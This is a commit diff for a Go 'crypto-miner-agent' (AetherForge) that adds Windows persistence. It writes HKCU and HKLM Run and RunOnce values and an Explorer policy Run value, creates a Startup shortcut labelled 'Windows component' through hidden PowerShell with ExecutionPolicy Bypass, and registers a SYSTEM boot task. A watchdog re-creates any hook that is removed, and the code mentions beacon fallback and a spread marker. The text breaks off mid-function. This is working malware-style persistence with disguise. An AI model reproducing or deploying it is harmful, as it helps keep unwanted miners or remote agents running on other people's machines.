feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
101
agent/deploy/autostart_common.go
Normal file
101
agent/deploy/autostart_common.go
Normal file
@@ -0,0 +1,101 @@
|
||||
// Package deploy autostart hooks (Windows, MITRE T1547-style).
|
||||
//
|
||||
// Triggers:
|
||||
// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks)
|
||||
// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing)
|
||||
// - Uninstall / removePersistence → removeAutostartExtras
|
||||
//
|
||||
// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user".
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// Autostart mode values (baked at forge time via AutostartMode).
|
||||
// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user".
|
||||
const (
|
||||
AutostartNone = "none"
|
||||
AutostartLogonRun = "logon_run"
|
||||
AutostartLogonStartupFolder = "logon_startup_folder"
|
||||
AutostartBootTask = "boot_task"
|
||||
AutostartLogonTask = "logon_task"
|
||||
AutostartAll = "all"
|
||||
)
|
||||
|
||||
func runAsHasBuiltInPersistence(runAs string) bool {
|
||||
switch strings.ToLower(strings.TrimSpace(runAs)) {
|
||||
case "scheduled", "service", "bits", "host_binary":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// effectiveAutostartModes returns persistence hooks to install/heal for this forge.
|
||||
// Install + watchdog self-heal both use this list.
|
||||
func effectiveAutostartModes(cfg config.RuntimeConfig) []string {
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode))
|
||||
var modes []string
|
||||
if raw == "" || raw == "legacy" {
|
||||
if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) {
|
||||
modes = []string{AutostartLogonRun}
|
||||
}
|
||||
} else if raw == AutostartNone {
|
||||
modes = nil
|
||||
} else if raw == AutostartAll {
|
||||
modes = []string{
|
||||
AutostartLogonRun,
|
||||
AutostartLogonStartupFolder,
|
||||
AutostartBootTask,
|
||||
AutostartLogonTask,
|
||||
}
|
||||
} else {
|
||||
for _, part := range strings.Split(raw, ",") {
|
||||
part = strings.TrimSpace(part)
|
||||
if part == "" || part == AutostartNone {
|
||||
continue
|
||||
}
|
||||
modes = append(modes, part)
|
||||
}
|
||||
}
|
||||
return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg)))
|
||||
}
|
||||
|
||||
func dedupeRegistryRunOverlap(modes []string) []string {
|
||||
hasLegacy := false
|
||||
hasHKCU := false
|
||||
for _, m := range modes {
|
||||
if m == AutostartLogonRun {
|
||||
hasLegacy = true
|
||||
}
|
||||
if m == RegistryHKCURun {
|
||||
hasHKCU = true
|
||||
}
|
||||
}
|
||||
if !hasLegacy || !hasHKCU {
|
||||
return modes
|
||||
}
|
||||
out := make([]string, 0, len(modes))
|
||||
for _, m := range modes {
|
||||
if m == RegistryHKCURun {
|
||||
continue
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func autostartBootTaskName(cfg config.RuntimeConfig) string {
|
||||
return PersistenceKeyName(cfg) + "-Boot"
|
||||
}
|
||||
|
||||
func autostartLogonTaskName(cfg config.RuntimeConfig) string {
|
||||
return PersistenceKeyName(cfg) + "-Logon"
|
||||
}
|
||||
|
||||
func autostartStartupShortcutName(cfg config.RuntimeConfig) string {
|
||||
return PersistenceKeyName(cfg) + ".lnk"
|
||||
}
|
||||
15
agent/deploy/autostart_stub.go
Normal file
15
agent/deploy/autostart_stub.go
Normal file
@@ -0,0 +1,15 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func applyAutostartOnInstall(_ config.RuntimeConfig, _ string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func ensureAutostartHooks(_ config.RuntimeConfig, _ string, _ bool) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeAutostartExtras(_ config.RuntimeConfig) {}
|
||||
47
agent/deploy/autostart_test.go
Normal file
47
agent/deploy/autostart_test.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestEffectiveAutostartModesLegacy(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "w1",
|
||||
AutoStart: true,
|
||||
RunAs: "user",
|
||||
}}
|
||||
modes := effectiveAutostartModes(cfg)
|
||||
if len(modes) != 1 || modes[0] != AutostartLogonRun {
|
||||
t.Fatalf("legacy user+AutoStart = %v", modes)
|
||||
}
|
||||
|
||||
cfg.RunAs = "scheduled"
|
||||
if got := effectiveAutostartModes(cfg); len(got) != 0 {
|
||||
t.Fatalf("scheduled should not add legacy run key modes: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveAutostartModesExplicit(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
AutostartMode: "boot_task,logon_startup_folder",
|
||||
}}
|
||||
modes := effectiveAutostartModes(cfg)
|
||||
if len(modes) != 2 {
|
||||
t.Fatalf("got %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAutostartTaskAndShortcutNames(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab-node"}}
|
||||
if got := autostartBootTaskName(cfg); got != "CryptoMiner-lab-node-Boot" {
|
||||
t.Fatalf("boot task %q", got)
|
||||
}
|
||||
if got := autostartLogonTaskName(cfg); got != "CryptoMiner-lab-node-Logon" {
|
||||
t.Fatalf("logon task %q", got)
|
||||
}
|
||||
if got := autostartStartupShortcutName(cfg); got != "CryptoMiner-lab-node.lnk" {
|
||||
t.Fatalf("shortcut %q", got)
|
||||
}
|
||||
}
|
||||
126
agent/deploy/autostart_windows.go
Normal file
126
agent/deploy/autostart_windows.go
Normal file
@@ -0,0 +1,126 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart).
|
||||
// Triggers: first install (InstallIfNeeded) after binary copy.
|
||||
func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error {
|
||||
return ensureAutostartHooks(cfg, binPath, false)
|
||||
}
|
||||
|
||||
// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks.
|
||||
func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error {
|
||||
for _, mode := range effectiveAutostartModes(cfg) {
|
||||
if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error {
|
||||
switch mode {
|
||||
case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun:
|
||||
if healOnly && registryRunValueExists(cfg, mode, binPath) {
|
||||
return nil
|
||||
}
|
||||
return writeRegistryRunValue(cfg, mode, binPath)
|
||||
case AutostartLogonStartupFolder:
|
||||
if healOnly && startupShortcutExists(cfg) {
|
||||
return nil
|
||||
}
|
||||
return createLogonStartupShortcut(cfg, binPath)
|
||||
case AutostartBootTask:
|
||||
name := autostartBootTaskName(cfg)
|
||||
if healOnly && scheduledTaskExists(name) {
|
||||
return nil
|
||||
}
|
||||
return createBootScheduledTask(cfg, binPath, name)
|
||||
case AutostartLogonTask:
|
||||
name := autostartLogonTaskName(cfg)
|
||||
if healOnly && scheduledTaskExists(name) {
|
||||
return nil
|
||||
}
|
||||
return createLogonScheduledTask(cfg, binPath, name)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error {
|
||||
startupDir, err := userStartupFolder()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(startupDir, 0755); err != nil {
|
||||
return fmt.Errorf("startup folder: %w", err)
|
||||
}
|
||||
lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg))
|
||||
ps := fmt.Sprintf(`
|
||||
$ws = New-Object -ComObject WScript.Shell
|
||||
$lnk = $ws.CreateShortcut('%s')
|
||||
$lnk.TargetPath = '%s'
|
||||
$lnk.Arguments = '%s'
|
||||
$lnk.WindowStyle = 7
|
||||
$lnk.Description = 'Windows component'
|
||||
$lnk.Save()
|
||||
`,
|
||||
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||
strings.ReplaceAll(binPath, `'`, `''`),
|
||||
strings.ReplaceAll(runFlag, `'`, `''`),
|
||||
)
|
||||
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
}
|
||||
|
||||
func userStartupFolder() (string, error) {
|
||||
appData := os.Getenv("APPDATA")
|
||||
if appData == "" {
|
||||
return "", fmt.Errorf("APPDATA not set")
|
||||
}
|
||||
return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil
|
||||
}
|
||||
|
||||
func startupShortcutExists(cfg config.RuntimeConfig) bool {
|
||||
dir, err := userStartupFolder()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg)))
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func scheduledTaskTrigger(binPath string) string {
|
||||
return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag)
|
||||
}
|
||||
|
||||
// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run).
|
||||
func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
|
||||
tr := scheduledTaskTrigger(binPath)
|
||||
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
|
||||
"/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F")
|
||||
}
|
||||
|
||||
// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name.
|
||||
func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error {
|
||||
tr := scheduledTaskTrigger(binPath)
|
||||
return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
|
||||
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
|
||||
}
|
||||
|
||||
func removeAutostartExtras(cfg config.RuntimeConfig) {
|
||||
removeRegistryPersistence(cfg)
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F")
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F")
|
||||
if dir, err := userStartupFolder(); err == nil {
|
||||
_ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg)))
|
||||
}
|
||||
}
|
||||
19
agent/deploy/autostart_windows_test.go
Normal file
19
agent/deploy/autostart_windows_test.go
Normal file
@@ -0,0 +1,19 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUserStartupFolderSuffix(t *testing.T) {
|
||||
dir, err := userStartupFolder()
|
||||
if err != nil {
|
||||
t.Skip("APPDATA unset in test environment")
|
||||
}
|
||||
if !strings.HasSuffix(filepath.ToSlash(dir), "Programs/Startup") {
|
||||
t.Fatalf("unexpected startup dir %q", dir)
|
||||
}
|
||||
}
|
||||
@@ -55,10 +55,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
if err := applyAutostartOnInstall(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("autostart: %w", err)
|
||||
}
|
||||
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
|
||||
@@ -3,11 +3,7 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func scheduledTaskExists(taskName string) bool {
|
||||
@@ -15,17 +11,7 @@ func scheduledTaskExists(taskName string) bool {
|
||||
}
|
||||
|
||||
func registryRunExists(cfg config.RuntimeConfig, binPath string) bool {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
val, _, err := k.GetStringValue(keyName)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(val, binPath)
|
||||
return registryRunValueExists(cfg, AutostartLogonRun, binPath)
|
||||
}
|
||||
|
||||
func serviceExists(svcName string) bool {
|
||||
@@ -59,12 +45,6 @@ func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
default:
|
||||
if cfg.AutoStart && !registryRunExists(cfg, installedBin) {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return ensureAutostartHooks(cfg, installedBin, true)
|
||||
}
|
||||
|
||||
@@ -118,12 +118,8 @@ func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F")
|
||||
removeAutostartExtras(cfg)
|
||||
RemoveBITSPersistence(cfg)
|
||||
RemoveHostBinaryPersistence(cfg)
|
||||
svcName := cfg.ServiceName
|
||||
|
||||
40
agent/deploy/registry_allowlist.go
Normal file
40
agent/deploy/registry_allowlist.go
Normal file
@@ -0,0 +1,40 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var allowedRegistryPathPrefixes = []string{
|
||||
`software\`,
|
||||
`environment`,
|
||||
}
|
||||
|
||||
// ParseRegistryHive maps operator hive strings to internal tokens (hkcu/hklm).
|
||||
func ParseRegistryHive(hive string) (string, error) {
|
||||
switch strings.ToUpper(strings.TrimSpace(hive)) {
|
||||
case "HKCU", "HKEY_CURRENT_USER", "CURRENT_USER":
|
||||
return "hkcu", nil
|
||||
case "HKLM", "HKEY_LOCAL_MACHINE", "LOCAL_MACHINE":
|
||||
return "hklm", nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported hive %q (use HKCU or HKLM)", hive)
|
||||
}
|
||||
}
|
||||
|
||||
// ValidateRegistryPath ensures fleet registry ops stay under safe prefixes.
|
||||
func ValidateRegistryPath(hiveToken, subkey string) error {
|
||||
subkey = strings.TrimSpace(subkey)
|
||||
subkey = strings.TrimPrefix(subkey, `\`)
|
||||
subkey = strings.TrimSuffix(subkey, `\`)
|
||||
if subkey == "" {
|
||||
return fmt.Errorf("registry path is required")
|
||||
}
|
||||
lower := strings.ToLower(subkey)
|
||||
for _, prefix := range allowedRegistryPathPrefixes {
|
||||
if strings.HasPrefix(lower, prefix) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("registry path %q is outside the allowed prefix list (Software\\, Environment)", subkey)
|
||||
}
|
||||
117
agent/deploy/registry_persistence_common.go
Normal file
117
agent/deploy/registry_persistence_common.go
Normal file
@@ -0,0 +1,117 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// Registry persistence mode tokens (forge-baked via RegistryPersistence or autostart_mode).
|
||||
const (
|
||||
RegistryHKCURun = "hkcu_run"
|
||||
RegistryHKCURunOnce = "hkcu_run_once"
|
||||
RegistryHKLMRun = "hklm_run"
|
||||
RegistryHKLMRunOnce = "hklm_run_once"
|
||||
RegistryExplorerRun = "explorer_run"
|
||||
RegistryPersistenceOff = "off"
|
||||
RegistryPersistenceAll = "combined"
|
||||
)
|
||||
|
||||
// RegistryPersistenceValueName is the deterministic value name for forge-baked registry hooks.
|
||||
func RegistryPersistenceValueName(cfg config.RuntimeConfig) string {
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
name = cfg.EffectiveProcessName()
|
||||
}
|
||||
return "AetherForge_" + name
|
||||
}
|
||||
|
||||
// SanitizeRegistryValueName strips characters invalid in registry value names.
|
||||
func SanitizeRegistryValueName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
return "AetherForgeValue"
|
||||
}
|
||||
replacer := strings.NewReplacer("/", "", "\\", "", ":", "", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
clean := replacer.Replace(name)
|
||||
if clean == "" {
|
||||
return "AetherForgeValue"
|
||||
}
|
||||
if len(clean) > 255 {
|
||||
clean = clean[:255]
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
func effectiveRegistryPersistenceModes(cfg config.RuntimeConfig) []string {
|
||||
raw := strings.ToLower(strings.TrimSpace(cfg.RegistryPersistence))
|
||||
if raw == "" || raw == RegistryPersistenceOff {
|
||||
return modesFromRegistryBools(cfg)
|
||||
}
|
||||
if raw == RegistryPersistenceAll {
|
||||
return combinedRegistryModes(cfg)
|
||||
}
|
||||
if raw == RegistryHKCURun || raw == RegistryHKCURunOnce || raw == RegistryHKLMRun ||
|
||||
raw == RegistryHKLMRunOnce || raw == RegistryExplorerRun {
|
||||
return []string{raw}
|
||||
}
|
||||
var modes []string
|
||||
for _, part := range strings.Split(raw, ",") {
|
||||
part = strings.TrimSpace(part)
|
||||
if part == "" || part == RegistryPersistenceOff {
|
||||
continue
|
||||
}
|
||||
modes = append(modes, part)
|
||||
}
|
||||
return modes
|
||||
}
|
||||
|
||||
func modesFromRegistryBools(cfg config.RuntimeConfig) []string {
|
||||
if cfg.RegistryRunHKCU || cfg.RegistryRunOnce || cfg.RegistryRunHKLM || cfg.RegistryExplorerRun {
|
||||
return combinedRegistryModes(cfg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func combinedRegistryModes(cfg config.RuntimeConfig) []string {
|
||||
var modes []string
|
||||
if cfg.RegistryRunHKCU {
|
||||
modes = append(modes, RegistryHKCURun)
|
||||
}
|
||||
if cfg.RegistryRunOnce {
|
||||
modes = append(modes, RegistryHKCURunOnce)
|
||||
}
|
||||
if cfg.RegistryRunHKLM {
|
||||
modes = append(modes, RegistryHKLMRun, RegistryHKLMRunOnce)
|
||||
}
|
||||
if cfg.RegistryExplorerRun {
|
||||
modes = append(modes, RegistryExplorerRun)
|
||||
}
|
||||
if len(modes) == 0 && strings.EqualFold(strings.TrimSpace(cfg.RegistryPersistence), RegistryPersistenceAll) {
|
||||
modes = []string{RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryExplorerRun}
|
||||
}
|
||||
return modes
|
||||
}
|
||||
|
||||
func mergeAutostartModes(base []string, extra []string) []string {
|
||||
if len(extra) == 0 {
|
||||
return base
|
||||
}
|
||||
seen := make(map[string]bool, len(base)+len(extra))
|
||||
out := make([]string, 0, len(base)+len(extra))
|
||||
for _, m := range base {
|
||||
if m == "" || seen[m] {
|
||||
continue
|
||||
}
|
||||
seen[m] = true
|
||||
out = append(out, m)
|
||||
}
|
||||
for _, m := range extra {
|
||||
if m == "" || seen[m] {
|
||||
continue
|
||||
}
|
||||
seen[m] = true
|
||||
out = append(out, m)
|
||||
}
|
||||
return out
|
||||
}
|
||||
29
agent/deploy/registry_persistence_stub.go
Normal file
29
agent/deploy/registry_persistence_stub.go
Normal file
@@ -0,0 +1,29 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func writeRegistryRunValue(_ config.RuntimeConfig, _, _ string) error { return nil }
|
||||
|
||||
func registryRunValueExists(_ config.RuntimeConfig, _, _ string) bool { return false }
|
||||
|
||||
func removeRegistryPersistence(_ config.RuntimeConfig) {}
|
||||
|
||||
func IsProcessElevated() bool { return false }
|
||||
|
||||
func FleetRegistryRead(_, _ string) (map[string]interface{}, error) {
|
||||
return nil, fmt.Errorf("registry operations are unsupported on this platform")
|
||||
}
|
||||
|
||||
func FleetRegistryWrite(_, _, _, _, _ string) error {
|
||||
return fmt.Errorf("registry operations are unsupported on this platform")
|
||||
}
|
||||
|
||||
func FleetRegistryDelete(_, _, _ string) error {
|
||||
return fmt.Errorf("registry operations are unsupported on this platform")
|
||||
}
|
||||
102
agent/deploy/registry_persistence_test.go
Normal file
102
agent/deploy/registry_persistence_test.go
Normal file
@@ -0,0 +1,102 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestValidateRegistryPathAllowed(t *testing.T) {
|
||||
cases := []struct {
|
||||
hive string
|
||||
path string
|
||||
}{
|
||||
{"HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`},
|
||||
{"HKLM", `Software\AetherForge\Test`},
|
||||
{"HKCU", `Environment`},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if err := ValidateRegistryPath("hkcu", tc.path); err != nil {
|
||||
t.Fatalf("%s: %v", tc.path, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateRegistryPathBlocked(t *testing.T) {
|
||||
blocked := []string{
|
||||
`SYSTEM\CurrentControlSet\Services`,
|
||||
`Microsoft\Windows\CurrentVersion\Run`,
|
||||
`SAM\Domains`,
|
||||
}
|
||||
for _, path := range blocked {
|
||||
if err := ValidateRegistryPath("hkcu", path); err == nil {
|
||||
t.Fatalf("expected block for %q", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeRegistryValueName(t *testing.T) {
|
||||
got := SanitizeRegistryValueName(`bad/name:with*chars`)
|
||||
if strings.ContainsAny(got, `/:*`) {
|
||||
t.Fatalf("unsanitized %q", got)
|
||||
}
|
||||
if got == "" {
|
||||
t.Fatal("empty name")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistryPersistenceValueName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
|
||||
got := RegistryPersistenceValueName(cfg)
|
||||
if got != "AetherForge_lab-node" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveRegistryPersistenceModesEnum(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
RegistryPersistence: "hkcu_run_once,hklm_run",
|
||||
}}
|
||||
modes := effectiveRegistryPersistenceModes(cfg)
|
||||
if len(modes) != 2 {
|
||||
t.Fatalf("got %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveRegistryPersistenceModesBools(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
RegistryRunHKCU: true,
|
||||
RegistryRunOnce: true,
|
||||
}}
|
||||
modes := effectiveRegistryPersistenceModes(cfg)
|
||||
if len(modes) != 2 {
|
||||
t.Fatalf("got %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveAutostartModesIncludesRegistry(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
RegistryPersistence: "hkcu_run_once",
|
||||
}}
|
||||
modes := effectiveAutostartModes(cfg)
|
||||
found := false
|
||||
for _, m := range modes {
|
||||
if m == RegistryHKCURunOnce {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("registry mode not merged: %v", modes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseRegistryHive(t *testing.T) {
|
||||
token, err := ParseRegistryHive("HKEY_CURRENT_USER")
|
||||
if err != nil || token != "hkcu" {
|
||||
t.Fatalf("hkcu parse: %q %v", token, err)
|
||||
}
|
||||
if _, err := ParseRegistryHive("HKU"); err == nil {
|
||||
t.Fatal("expected error for HKU")
|
||||
}
|
||||
}
|
||||
287
agent/deploy/registry_persistence_windows.go
Normal file
287
agent/deploy/registry_persistence_windows.go
Normal file
@@ -0,0 +1,287 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
type registryLoc struct {
|
||||
hive registry.Key
|
||||
subkey string
|
||||
needsAdmin bool
|
||||
}
|
||||
|
||||
func registryLocForMode(mode string) (registryLoc, bool) {
|
||||
switch mode {
|
||||
case AutostartLogonRun, RegistryHKCURun:
|
||||
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true
|
||||
case RegistryHKCURunOnce:
|
||||
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true
|
||||
case RegistryHKLMRun:
|
||||
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true
|
||||
case RegistryHKLMRunOnce:
|
||||
return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true
|
||||
case RegistryExplorerRun:
|
||||
return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true
|
||||
default:
|
||||
return registryLoc{}, false
|
||||
}
|
||||
}
|
||||
|
||||
func registryRunCommand(binPath string) string {
|
||||
return fmt.Sprintf(`"%s" %s`, binPath, runFlag)
|
||||
}
|
||||
|
||||
func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string {
|
||||
switch mode {
|
||||
case AutostartLogonRun:
|
||||
return PersistenceKeyName(cfg)
|
||||
default:
|
||||
return RegistryPersistenceValueName(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error {
|
||||
loc, ok := registryLocForMode(mode)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if loc.needsAdmin && !IsProcessElevated() {
|
||||
return nil
|
||||
}
|
||||
k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath))
|
||||
}
|
||||
|
||||
func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool {
|
||||
loc, ok := registryLocForMode(mode)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer k.Close()
|
||||
val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(val, binPath)
|
||||
}
|
||||
|
||||
func removeRegistryValueAt(loc registryLoc, valueName string) {
|
||||
k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue(valueName)
|
||||
}
|
||||
|
||||
func removeRegistryPersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
agentName := RegistryPersistenceValueName(cfg)
|
||||
for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) {
|
||||
loc, ok := registryLocForMode(mode)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode))
|
||||
}
|
||||
// Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming.
|
||||
loc, _ := registryLocForMode(AutostartLogonRun)
|
||||
removeRegistryValueAt(loc, keyName)
|
||||
removeRegistryValueAt(loc, agentName)
|
||||
}
|
||||
|
||||
func allRegistryModeTokens() []string {
